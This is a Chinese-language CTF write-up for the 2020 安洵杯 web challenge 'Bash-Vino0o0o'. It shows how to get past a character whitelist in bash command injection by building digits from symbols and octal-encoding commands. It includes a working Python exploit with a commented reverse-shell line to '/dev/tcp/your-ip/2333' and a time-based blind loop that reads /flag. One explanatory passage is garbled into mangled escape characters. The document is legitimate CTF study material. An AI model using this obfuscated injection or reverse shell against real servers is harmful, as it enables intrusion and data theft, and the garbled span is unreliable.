Web-Bash-Vino0o0o

发表于 2021-01-15 分类于 Challenge ， 2020 ， 安洵杯 ， Web
Challenge | 2020 | 安洵杯 | Web | Web-Bash-Vino0o0o

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8581

题目考点

- *bash命令注入*

解题思路

原型：*学习这种绕过姿势来源于之前看的一份34c3 CTF的wp，大体上类似于这一篇：https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60*

想法：*但是利用上面这种`bash<<<{,,,,}`这种形式执行命令在我的测试中并不能完美地执行任意命令，因此在这次比赛中白名单没有逗号，且无回显*

可以利用八进制的方法绕过一些ban了字母的题，示例如下：

可以利用位运算和进制转换的方法利用符号构造数字，本题中直接给出0简化了一些操作：

```
n = dict()
n[0] = '0'
n[1] = '${##}'                                  #${##}计算#这个字符的长度为1，这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))'                      #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))'      #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
```

得到了所有的数字就可以把我们所需要的命令转换成数字了，细说一下得到1的方法，#在bash中是一个变量，它的长度是0。\ [(($(($<<$))#$0$))$(($<<$(($<<$))))\\\](\(((\)<<\())#\)\(0))\)(\(((\)<<\())#\)\())\\\)(\(<<\)(\(<<\)))))0\\(((\)((\(<<\)))#\(0)))\(((\)((\(<<\)))#$$$))'`执行ls命令

能够命令执行之后就很简单了，无回显的命令执行无非就两种方案，一种是反弹shell另一种是盲注，下面直接贴exp:

```python
import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$(($(##)<<$(##)))'
n[3] = '$(($(($(##)<<$(##)))#$(##)$(##)))'
n[4] = '$(($(##)<<$(($(##)<<$(##)))))'
n[5] = '$(($(($(##)<<$(##)))#$(##)0$(##)))'
n[6] = '$(($(($(##)<<$(##)))#$(##)$(##)0))'
n[7] = '$(($(($(##)<<$(##)))#$(##)$(##)$(##)))'

f=''

def str_to_oct(cmd):                                    #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):                                         #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

def get_flag(url,payload):                              #盲注函数
    try:
        data = {'cmd':payload}
        r = requests.post(url,data,timeout=1.5)
    except:
        return True
    return False

#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)
```

Flag

 # Challenge # 2020 # Web # 安洵杯

Validator
Normal SSTI